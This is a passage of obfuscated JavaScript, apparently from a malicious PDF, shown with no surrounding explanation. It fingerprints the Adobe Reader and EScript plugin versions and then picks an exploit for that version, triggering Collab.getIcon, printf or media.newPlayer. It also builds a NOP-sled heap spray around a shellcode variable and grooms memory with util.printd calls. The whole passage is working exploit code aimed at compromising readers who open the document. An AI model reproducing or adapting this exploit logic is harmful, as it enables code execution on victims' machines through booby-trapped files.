');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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